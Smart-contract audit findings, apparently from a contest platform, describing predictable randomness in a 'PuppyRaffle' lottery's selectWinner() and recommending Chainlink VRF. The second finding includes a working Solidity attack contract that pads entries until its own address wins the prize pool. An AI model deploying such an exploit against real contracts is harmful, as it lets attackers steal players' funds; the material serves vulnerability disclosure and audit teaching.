Normal behavior: After the lottery ends, selectWinner() randomly selects a winner from the players array and randomly determines the rarity of the NFT.
Problem: Random numbers are generated entirely by predictable or manipulable variables on the chain, allowing attackers to calculate the results before calling selectWinner() and only invoking it when it benefits them. Specifically:The winnerIndex is calculated using the formula: keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty)) % players.length.
The rarity is calculated using keccak256(abi.encodePacked(msg.sender, block.difficulty)) % 100.
Among these three inputs, msg.sender is controlled by the attacker, while block.timestamp and block.difficulty can be influenced by miners/verifiers, and the attacker can also influence them by choosing the timing to send transactions.
Likelihood:
The attacker can deploy an attack contract to internally calculate the winnerIndex and rarity.
An attacker can alter the random result by switching the calling address (msg.sender) until they hit their own.
The attacker can choose to call it under a specific block.timestamp or block.difficulty to further improve the hit rate.
Miners/validators can directly manipulate block.timestamp and block.difficulty to ensure that they or their collaborators become the winner.
The cost of the attack is only gas, while the reward is the entire prize pool.
Impact:
The attacker can ensure that they are the winner and steal the ETH in the prize pool.
The attacker can also manipulate rarity, obtaining NFTs with higher rarity (the probability of legendary items is manipulated from 5% to 100%).
It is almost impossible for ordinary players to win, and the lottery loses its fairness.
The attacker deploys multiple attack contracts (or uses multiple addresses), each participating in the lottery.
After the lottery concludes, the attacker calculates the winnerIndex for each address based on the current block.timestamp and block.difficulty.
If the calculation result of a certain address points to itself, the attacker will use that address to call selectWinner().
If the hash is not successful, the attacker waits for the next block (block.timestamp and block.difficulty will change) and recalculates.
Attackers can also influence the blocks in which transactions are packaged by adjusting the gas price, thereby affecting the block.timestamp.
Miners/validators can directly manipulate block.timestamp and block.difficulty to ensure they become the winner.
Using Chainlink VRF
Chainlink VRF provides verifiable on-chain random numbers that cannot be manipulated by miners or attackers.
## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.